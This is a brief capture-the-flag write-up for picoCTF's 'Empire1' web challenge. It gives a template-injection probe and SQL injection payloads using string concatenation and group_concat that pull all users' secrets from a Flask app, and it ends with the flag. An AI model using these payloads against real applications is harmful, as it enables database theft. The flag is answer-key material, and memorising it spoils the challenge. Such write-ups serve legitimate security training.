For the complete documentation index, see llms.txt. This page is also available as Markdown.

Empire1

Problem

Psst, Agent 513, now that you're an employee of Evil Empire Co., try to get their secrets off the company website. https://2019shell1.picoctf.com/problem/27357/ (link) Can you first find the secret code they assigned to you? or http://2019shell1.picoctf.com:27357

Solution

  1. Create an account and sign in

  2. Attempt to add a todo of {{config}} (since this is a flask application and that would leak important configuration details about the application)

  3. Most likely the add todo is using an INSERT SQL statement so try concat: string'||'concated?'||'. It works!

  4. Run '||(select secret from user)||' but only gets one secret

  5. So use a group_concat to get all secrets: ' || (select group_concat(secret) from user) || '

Flag

picoCTF{wh00t_it_a_sql_inject9899be1a}

Last updated